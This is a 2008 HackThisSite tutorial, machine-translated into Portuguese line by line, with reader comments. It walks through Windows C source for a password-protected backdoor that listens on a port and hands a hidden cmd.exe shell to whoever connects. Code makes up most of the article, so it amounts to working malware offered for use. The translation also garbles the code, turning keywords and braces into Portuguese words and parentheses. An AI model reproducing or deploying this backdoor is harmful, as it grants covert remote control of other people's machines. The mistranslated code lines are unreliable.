Hack este site!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Anuncie Com HackThisSite.org:: Ocultar Estes anúncios]

Whenever you have an efficient government you have a dictatorship. Quando você tem um governo eficiente você tem uma ditadura.

HTS costs up to $300 a month to operate. HTS custa até 300 dólares por mês para funcionar. We need your help! Precisamos de ajuda!

Donors also receive special recognition on our donors page. Os doadores também receber reconhecimento especial em nossos doadores página.

FR DE ES IT PT FR DE ES IT PT

Link to us! Link para nós!

phoenix free shells Phoenix livre conchas
hackergames.net hackergames.net
PullThePlug PullThePlug

How To Write A Basic Backdoor In C Como escrever um backdoor básica em C
Published by: white_scorpion , on 2008-02-09 02:09:33 Publicado por: white_scorpion, em 2008-02-09 02:09:33
How To Write A Basic Backdoor In C Como escrever um backdoor básica em C Download program and sourcecode used in this tutorial here . Baixar código fonte programar e utilizado neste tutorial aqui. What will we need: O que nós precisamos: - 2 sockets, one to listen to a specific port, and the other to establish the connection. - 2 tomadas, uma para escutar uma porta específica, e os demais para estabelecer a ligação. - at least one buffer to read and write data, but we will use 2 in this tutorial. - Pelo menos um buffer para ler e gravar dados, mas nós vamos usar 2 neste tutorial. - 4 handles to redirect the input / output for cmd.exe - 4 alças para a redirecionamento de entrada / saída para cmd.exe These are the most important things, although we'll need some other variables / structures as well to make the program work. Estas são as coisas mais importantes, mas precisamos de algumas outras variáveis / estruturas, além de fazer o programa funcionar. The program: O programa: I will start with the main function, and i will describe the other functions after it. Vou começar com a função principal, e irei descrever-se depois a outras funções. Main function: Principal função: first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password: primeiro vamos verificar para ver quanta parâmetros o programa tem dado uma vez que queremos que o programa para poder ser usado com um auto-escolhido porto, bem como uma auto-escolhido senha: CODE : CÓDIGO: `if(argc!=3) //check if we are having enough parameters` `if (argc! = 3) / / verificar se estamos a ter o suficiente parâmetros` `{` `(` `Usage(argv[0]); //if not, then display usage and exit program.` `Uso (argv [0]); / / se não, em seguida, apresentar programa de utilização e de saída.` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip: Próxima vamos verificar se o número_da_porta dado é realmente um número e, se for um número_da_porta utilizáveis para o TCP / IP: CODE : CÓDIGO: `//check if the portnumber given is really a number` `/ / verificar se o número_da_porta dado é realmente um número` `for(i=0;i<strlen(argv[1]);i++)` `for (i = 0; i <strlen (argv [1]); i + +)` `{` `(` `if(isdigit(argv[1][i])==0)` `if (isdigit (argv [1] [i]) == 0)` `{` `(` `printf("Invalid port number.");` `printf ( "Número de porta inválido.");` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` `}` `)` `port=atoi(argv[1]); //make integer from ascii string` `port = atoi (argv [1]); / / inteiro de fazer ascii string` `//final check to see if it is a real port number` `/ / final verificação para ver se ele é um verdadeiro número de porta` `if(port>65535\|\|port<1)` `if (porta> 65535 \| \| porto <1)` `{` `(` `printf("Invalid port number.");` `printf ( "Número de porta inválido.");` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` Make everything ready and start listening to the port given: Faça tudo pronto e começar a ouvir os porta indicada: CODE : CÓDIGO: `//tell windows we want to use sockets` `/ / windows dizer que queremos utilizar sockets` `WSAStartup(0x101,&wsadata); //we will use version 1.1 here` `WSAStartup (0x101, & wsadata); / / vamos usar a versão 1.1 aqui` `//create socket` `/ / cria socket` `locsock=socket(AF_INET,SOCK_STREAM,0);` `locsock socket = (AF_INET, SOCK_STREAM, 0);` `//fill structure` `/ / encher estrutura` `sinloc.sin_family=AF_INET;` `sinloc.sin_family = AF_INET;` `sinloc.sin_addr.s_addr=INADDR_ANY;` `sinloc.sin_addr.s_addr = INADDR_ANY;` `sinloc.sin_port=htons(port);` `sinloc.sin_port = htons (porto);` `//bind the socket to the specified port` `/ / vincular o soquete para a porta especificada` `if(bind(locsock,(SOCKADDR)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)` `if (bind (locsock, (SOCKADDR ) & sinloc, sizeof (SOCKADDR_IN)) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error binding socket.");` `printf ( "Erro de soquete obrigatório.");` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` `//listen on the specified socket` `/ / ouvir no soquete especificado` `if(listen(locsock,5)==SOCKET_ERROR)` `if (ouça (locsock, 5) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error listening socket.");` `printf ( "Erro de soquete ouvir.");` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` Here we will have the infinite loop to accept connections and check the password. Aqui teremos a infinita alça para aceitar conexões e marque a senha. If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again. Se for dada a senha correta, então vamos começar a CommandPrompt () function, se não, então vamos começar uma estreita ligação e ouvir de novo. CODE : CÓDIGO: `//infinite loop here to keep the program listening` `/ / loop infinito aqui para manter o programa escuta` `while(1)` `ao mesmo tempo (1)` `{` `(` `remsock=SOCKET_ERROR;` `remsock = SOCKET_ERROR;` `while(remsock==SOCKET_ERROR)` `while (remsock == SOCKET_ERROR)` `{` `(` `//accept connection to our program` `/ / aceita conexão com o nosso programa` `remsock=accept(locsock,NULL,NULL);` `remsock aceitar = (locsock, NULL, NULL);` `if(remsock==INVALID_SOCKET)` `if (remsock == INVALID_SOCKET)` `{` `(` `//cleanup and exit program` `/ / limpeza e saída programa` `WSACleanup();` `WSACleanup ();` `printf("Error accepting socket.");` `printf ( "Erro de soquete aceita.");` `return EXIT_FAILURE;` `EXIT_FAILURE retorno;` `}` `)` `}` `)` `//ask for password` `/ / pedir senha` `send(remsock,welcome,sizeof(welcome),0);` `enviar (remsock, bem-vindo, sizeof (bem-vindos), 0);` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//check password given` `/ / check senha dadas` `bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character` `bufferin [strlen (bufferin) -1] = 0; / / precisamos para retirar esta última personagem` `if(strcmp(bufferin,argv[2])!=0)` `if (strcmp (bufferin, argv [2])! = 0)` `{` `(` `send(remsock,"nAccess Denied.n",17,0);` `enviar (remsock, "nAccess Denied.n", 17,0);` `}` `)` `else` `diferente` `{` `(` `CommandPrompt(); //start the commandprompt function` `CommandPrompt (); / / commandprompt começar a funcionar` `}` `)` `closesocket(remsock); //close the socket` `closesocket (remsock); / / fechar o socket` `}` `)` Usage function: Uso da função: This function displays the usage of the program and then exits the program: Esta função exibe a utilização do programa e, em seguida, sair do programa: CODE : CÓDIGO: `void Usage(char AppName[]) //the function which does nothing more then print out the usage` `void Usage (char AppName []) / / a função que não faz nada mais, em seguida, imprima o uso` `{` `(` `printf("backdoor, written by White Scorpion Security (C) 2005n");` `printf ( "backdoor, escrita por White Scorpion Segurança (C) 2005n");` `printf(" ** http://www.white-scorpion.nl nn");` `printf ( "http://www.white-scorpion.nl ** nn");` `printf("Usage: %s < port > < password >n",AppName);` `printf ( "Utilização:% s <porta> <senha> n", AppName);` `}` `)` CommandPrompt function: CommandPrompt função: This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt. Esta função é realmente a maior parte do trabalho, ele inicia o prompt de comando, redirecionar sua produção e enviar e receber os dados para o socket / prompt de comando. first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't. primeiro vamos definir as variáveis utilizadas nesta função, o 2 saídas são usados para interceptar o comando "exit", pois caso contrário seriam paralisar o nosso programa se nós não. CODE : CÓDIGO: `secat.nLength=sizeof(SECURITY_ATTRIBUTES);` `secat.nLength = sizeof (SECURITY_ATTRIBUTES);` `secat.bInheritHandle=TRUE;` `secat.bInheritHandle = TRUE;` `DWORD bytesW; //number of bytes written gets stored here` `DWORD bytesW; / / número de bytes escritos fica armazenado aqui` `HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes` `HANDLE newstdin, newstdout, leitura, writein; / / as alças para os nossos Pipes` `char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'` `char exit1 []={' e ',' x ',' i ',' t ', 10,0); / / precisamos de comparar este comando para a nossa «saída»` `char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'` `char exit2 []={' E ',' X ',' eu ',' T ', 10,0); / / precisamos de comparar este comando para o nosso' SAIR '` Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure: Então vamos criar os tubos utilizados para redirecionar cmd.exe 's de entrada e de saída, pegar o arranque info e preencha sua estrutura: CODE : CÓDIGO: `//create the pipes for our command prompt` `/ / criar as tubagens para os nossos comandos` `CreatePipe(&newstdin,&writein,&secat,0);` `CreatePipe (& newstdin, & writein, & secat, 0);` `CreatePipe(&readout,&newstdout,&secat,0);` `CreatePipe (& leitura, & newstdout, & secat, 0);` `GetStartupInfo(&startinfo);` `GetStartupInfo (& startinfo);` `//fill another structure` `/ / encher uma outra estrutura` `startinfo.dwFlags=STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.dwFlags = STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.wShowWindow=SW_HIDE;` `startinfo.wShowWindow = SW_HIDE;` `startinfo.hStdOutput=newstdout;` `startinfo.hStdOutput = newstdout;` `startinfo.hStdError=newstdout;` `startinfo.hStdError = newstdout;` `startinfo.hStdInput=newstdin;` `startinfo.hStdInput = newstdin;` Now we will start the process cmd.exe: Agora vamos começar o processo cmd.exe: CODE : CÓDIGO: `//start cmd prompt` `/ / start cmd prompt` `CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,` `CreateProcess (NULL, "cmd.exe", NULL, NULL, TRUE,` `CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);` `CREATE_NEW_CONSOLE, NULL, NULL, & startinfo, & procinfo);` `//No error checks here, but you should do it to prevent unwanted behaviour.` `/ / Nenhum erro verifica aqui, mas você deve fazê-lo para evitar comportamentos indesejados.` Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given. Finalmente temos o loop infinito, que recebe as saídas de cmd.exe e envia-os para o soquete, os dados recebidos do soquete é escrito para cmd.exe para executar o comando dado. CODE : CÓDIGO: `while(1)` `ao mesmo tempo (1)` `{` `(` `//check if cmd.exe is still running, if not then cleanup and start listening again.` `/ / verificar se cmd.exe ainda está correndo, se não for, então escuta a limpeza e começar novamente.` `if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)` `if (GetExitCodeProcess (procinfo.hProcess, & EXITCODE) == STILL_ACTIVE)` `{` `(` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (leitura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` `break;` `break;` `}` `)` `bytesRead=0;` `bytesRead = 0;` `//sleep 0.5 seconds to give cmd.exe the chance to startup` `/ / sleep cmd.exe 0,5 segundos para dar a chance de arranque` `sleep(500);` `sono (500);` `//check if the pipe already contains something we can write to output` `/ / checar se o cano já contém algo que podemos escrever para repproduzirem` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (leitura, bufferout, sizeof (bufferout), & bytesRead, & proveito, NULL);` `if(bytesRead!=0)` `if (bytesRead! = 0)` `{` `(` `while(bytesRead!=0)` `while (bytesRead! = 0)` `{ //read data from cmd.exe and send to client, then clear the buffer` `(/ / Ler dados de cmd.exe e envie ao cliente, em seguida, limpar o buffer` `ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);` `ReadFile (leitura, bufferout, sizeof (bufferout), & bytesRead, NULL);` `send(remsock,bufferout,strlen(bufferout),0);` `enviar (remsock, bufferout, strlen (bufferout), 0);` `ZeroMemory(bufferout,sizeof(bufferout));` `ZeroMemory (bufferout, sizeof (bufferout));` `sleep(100);` `sono (100);` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (leitura, bufferout, sizeof (bufferout), & bytesRead, & proveito, NULL);` `}` `)` `}` `)` `//clear bufferin` `/ / limpar bufferin` `ZeroMemory(bufferin,sizeof(bufferin));` `ZeroMemory (bufferin, sizeof (bufferin));` `//receive the command given` `/ / recebe o comando dado` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program` `/ / se for comando 'saída' ou 'SAIR', então temos de guardá-la para evitar que o nosso programa` `//from hanging.` `/ / from pendurar.` `if((strcmp(bufferin,exit1)==0)\|\|(strcmp(bufferin,exit2)==0))` `if ((strcmp (bufferin, exit1) == 0) \| \| (strcmp (bufferin, exit2) == 0))` `{` `(` `//let cmd.exe close by giving the command, then go to closeup label` `/ / cmd.exe deixar por perto dando o comando e, em seguida, vá para a etiqueta closeup` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `Writefile (writein, bufferin, strlen (bufferin), & bytesW, NULL);` `goto closeup;` `goto closeup;` `}` `)` `//else write the command to cmd.exe` `/ / else escrever o comando para cmd.exe` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `Writefile (writein, bufferin, strlen (bufferin), & bytesW, NULL);` `//clear the bufferin` `/ / limpar a bufferin` `for(i=0;i<sizeof(bufferin);i++)` `for (i = 0; i <sizeof (bufferin); i + +)` `{` `(` `bufferin[i]=0;` `bufferin [i] = 0;` `}` `)` `}` `)` And we cleanup everything and return to main, which will then start listening again. E nós limpeza e tudo voltar ao principal, que iniciará então os ouvir de novo. CODE : CÓDIGO: `//close up all handles` `/ / fechar todas as alças` `closeup:` `closeup:` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (leitura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` This is all, 3 functions, and some code and you can write your own backdoor. Isto é tudo, 3 funções, e alguns códigos e você pode escrever o seu próprio cavalo. the complete sourcecode and final program from this tutorial can be downloaded from here . o código fonte completo e definitivo programa a partir deste tutorial pode ser descarregado a partir daqui.
Cast your vote on this article Elenco seu voto sobre este artigo Note: the order of the votes has been reversed. Nota: a ordem das votações foi revertida.

Comments: Comentários:
Published: 20 comments. Publicado: 20 comentários.

KSEboom - 07:47 am Saturday February 09th, 2008 KSEboom - 07h47 Sabado 09 de fevereiro de 2008

Hmmmm, alot of detail has gone into this. Hmmmm, um lote de pormenor se debruçou sobre este assunto.
Nice work (Y) Bom trabalho (Y)

Stevenmn - 02:07 pm Saturday February 09th, 2008 Stevenmn - 02:07 hs Sabado 09 de fevereiro de 2008

Very usefull Muito útil

bonzdead - 12:03 pm Wednesday February 13th, 2008 bonzdead - 12:03 Quarta-feira 13 de fevereiro de 2008

Very nice! Very nice! Put together very well. Juntos muito bem. And does excellent job explaining the code and why it is needed. E faz excelente trabalho explicando o código e por este motivo que é necessário. The examples were also very helpful. Os exemplos também foram muito úteis.

philop_kidrock - 12:35 am Thursday February 14th, 2008 philop_kidrock - 12:35 am Quinta-feira 14 de fevereiro de 2008

how about metasploit can you provide me a tips about the commands used in it.. metasploit sobre como você pode me fornecer uma dicas sobre os comandos usados nele .. or do you had any idea about that software.... ou você tinha alguma idéia sobre esse software .... anybody who had the any idea please inform me.. quem teve a idéia por favor me informem .. this is my e-mail add kid_learns_2_rock@yahoo.com este é o meu e-mail adicionar kid_learns_2_rock@yahoo.com

tulcod - 10:55 am Friday February 15th, 2008 tulcod - 10:55 sexta-feira 15 de fevereiro de 2008

not really what it\'s title suggests, this article just explains how to interface with cmd.exe realmente não é aquilo que ela \ 's título sugere, este artigo apenas explica como fazer interface com cmd.exe
it\'s importable and not really innovative, it\'s been explained before and badly commented. ele \ 's importável e não realmente inovador, ele \' s sido explicado antes e mal comentou.

white_scorpion - 01:42 am Thursday February 21st, 2008 white_scorpion - 01h42 Quinta-feira 21 de fevereiro de 2008

Why should it be innovative? Porque será que deve ser inovador? Back then when I was writing a backdoor this was the most difficult part to figure out, how to use the pipes. Naquela época, quando eu estava escrevendo um backdoor esta foi a parte mais difícil de descobrir, como usar os canos.
Besides that, I\'ve never seen any backdoor code which is portable, meaning it\'s usable for several OS\'s like Windows and Linux, since the system calls on those OS\'s are different. Além disso, eu \ nunca vi nenhum código secreto que é portátil, significando que ele \ 's utilizáveis para vários OS \' s como o Windows eo Linux, uma vez que o sistema solicita aos OS \ 's são diferentes. If you feel different then please write a text yourself about portable backdoors ;) Se você se sente diferente, em seguida, escrever um texto sobre si próprio portátil backdoors;)

hackuk_33 - 05:16 am Thursday February 21st, 2008 hackuk_33 - 05h16 Quinta-feira 21 de fevereiro de 2008

good work !!! bom trabalho! 10/10

The_Computer_Wizard - 05:49 pm Thursday February 21st, 2008 The_Computer_Wizard - 05:49 hs quinta-feira 21 de fevereiro de 2008

ok, im a little new to this kind of stuff, been breaking security on local machines for a while (i fix computers at work, and people dont always remember their passwords) but im just starting on stuff over a network ok, im um pouco novo para esse tipo de coisa, se quebrar segurança em máquinas locais durante um tempo (i correção computadores no trabalho, e as pessoas dont semper lembrar suas senhas), mas agora começa im sobre coisas através de uma rede

i assume i need to use putty or telnet with this or something, but im confused, whenever i run this program on my computer no process starts for it or anything, i looked over the code (i have experience with c++ not so much c though, so i mostly understood it) and everything seems fine, but it doesnt seem to be implementing an infinate loop on my machine and idk why? i assumir i necessidade de usar massa de vidraceiro ou telnet com este ou qualquer coisa, mas im confuso, quando eu executar este programa no meu computador não inicia processo para ele nem nada, eu olhava para o código (i têm experiência com c + + c embora não tanto , Então eu entendi sua maioria) e tudo parece bem, mas ela doesn't parecem estar a executar um loop infinate em minha máquina e idk porquê?
not to mention can someone post how i would connect? já para não falar que alguém pode postar como eu ligar? im assuming my ip into putty over a tcp/ip connection im assumindo o meu ip em massa de vidraceiro sobre uma conexão TCP / IP

lastly where do i modify the code for a password? Onde é que eu finalmente modificar o código para uma senha?

codz30 - 04:33 am Thursday March 06th, 2008 codz30 - 04h33 Quinta-feira 06 de março de 2008

this code is alot bigger than it needs to be. este código é muito maior do que ela precisa de ser. Also, this is not a backdoor, its a remote shell. Além disso, este não é um cavalo, um telecomando sua concha. You only need 1 port to listen, then you bind to that port and send() recv() from there. Você só precisa 1 porta para ouvir, então você vincular a essa porta e enviar () recv () a partir daí.
You don\'t need 4 handles to get the command prompt. Você não \ "Não preciso 4 alças para obter o prompt de comando. Also there are ways to not use a buffer. Também existem formas de não usar um tampão.

emoserv - 10:11 pm Friday March 28th, 2008 emoserv - 10:11 h Sexta-feira 28 de março de 2008

A remote shell is a back door. Um shell remoto é uma porta traseira. It triggers system commands from the outside. Ele aciona sistema de comandos a partir do exterior.

Stoney - 05:35 pm Wednesday April 30th, 2008 Stoney - 05:35 hs quarta-feira 30 de abril de 2008

The_Computer_Wizard; first off...learn C and you'll know about the password, and learn at least a BIT on exploits and shells. The_Computer_Wizard; primeira fora ... aprender C e você vai saber sobre a senha, e aprender pelo menos um pouco sobre exploits e conchas.

The article is great! O artigo é ótimo! It doesn't need all of the detail but it's never too much. Ela não precisa de todos os pormenores, mas nunca é demais. 10/10

VARUNmca123 - 04:56 am Monday May 12th, 2008 VARUNmca123 - 04h56 segunda-feira 12 de maio de 2008

rigt now i dont know much about yhis type of programming, but i can understand its importance rigt agora i dont know muito sobre yhis tipo de programação, mas posso compreender a sua importância

GreyMageIvan - 11:03 pm Thursday June 19th, 2008 GreyMageIvan - 11:03 hs Quinta-feira 19 de junho, 2008

Finally, someone explains how to link up a program to a socket or two. Finalmente, alguém explica como a ligação a um programa para uma tomada ou duas. I give 8/10, Great content, but I needed to see the source file in the zip to get my code working, specifically with var datatypes. Eu dou 8 / 10, Grande conteúdo, mas eu precisava ver o arquivo de origem no CEP para que o meu código de trabalho, especificamente com datatypes var.

q8tawe - 10:18 am Monday July 21st, 2008 q8tawe - 10:18 Segunda-feira 21 de julho, 2008

thanks for the nice article.^^ agradecimento pelo bom artigo. ^ ^

vigo_in_disguise - 02:58 pm Monday July 21st, 2008 vigo_in_disguise - 02:58 hs Segunda-feira 21 de julho, 2008

nice work man... belo trabalho cara ... would like to know about better codes... gostaria de saber qual é a melhor códigos ...

vigo_in_disguise - 03:02 pm Monday July 21st, 2008 vigo_in_disguise - 03:02 hs Segunda-feira 21 de julho, 2008

nice work man... belo trabalho cara ... would like to know about better codes... gostaria de saber qual é a melhor códigos ...

Nach - 07:12 am Thursday July 24th, 2008 Nach - 07h12 quinta-feira 24 de julho de 2008

thnx for the tutorial man thnx tutorial para o homem

mousse2012 - 04:32 pm Saturday August 30th, 2008 mousse2012 - 04:32 hs Sabado 30 de agosto de 2008

Good Job. Good Job.

totalnoob314 - 07:22 pm Tuesday September 09th, 2008 totalnoob314 - 07:22 hs Terça-feira 09 de setembro, 2008

does it really need to have all that stuff just to interface with the command prompt? isso realmente precisa ter tudo isso basta para fazer interface com o prompt de comando? can you use some windows-equivalent to the dup2() function or somethin so that it can take input directly from the socket? você pode usar algumas janelas-equivalente ao dup2 () função ou algo para que ele possa pegar as informações diretamente da tomada? if someone could tell me, that would be cool thanx se alguem poderia me dizer, que seria cool thanx

Brent-tc - 01:24 am Sunday September 28th, 2008 Brent-tc - 01h24 domingo 28 de setembro de 2008

ROFL. Propagandas.
You have really done a very good job of over-complicating this. Você realmente tem feito um trabalho muito bom de excesso de complicar esta.

This site is the collective work of the HackThisSite staff. Este site é o trabalho coletivo da equipe HackThisSite. Please don't reproduce in part or whole without permission. Por favor, não reproduzir, total ou parcial, sem a sua permissão.
Page Generated: Mon, 01 Dec 2008 20:00:50 -0500 Exec: 11 Página Criado em: Mon, 01 dezembro 2008 20:00:50 -0500 Exec: 11
_{Page loaded in 0.17175 seconds!} _{Página carregada em 0,17175 segundos!}

Donate Doar

Challenges Desafios

Get Informed Get Informado

Get Involved Participe

Communicate Comunique-se

About HTS Sobre HTS

Translate Traduzir

Partners Parceiros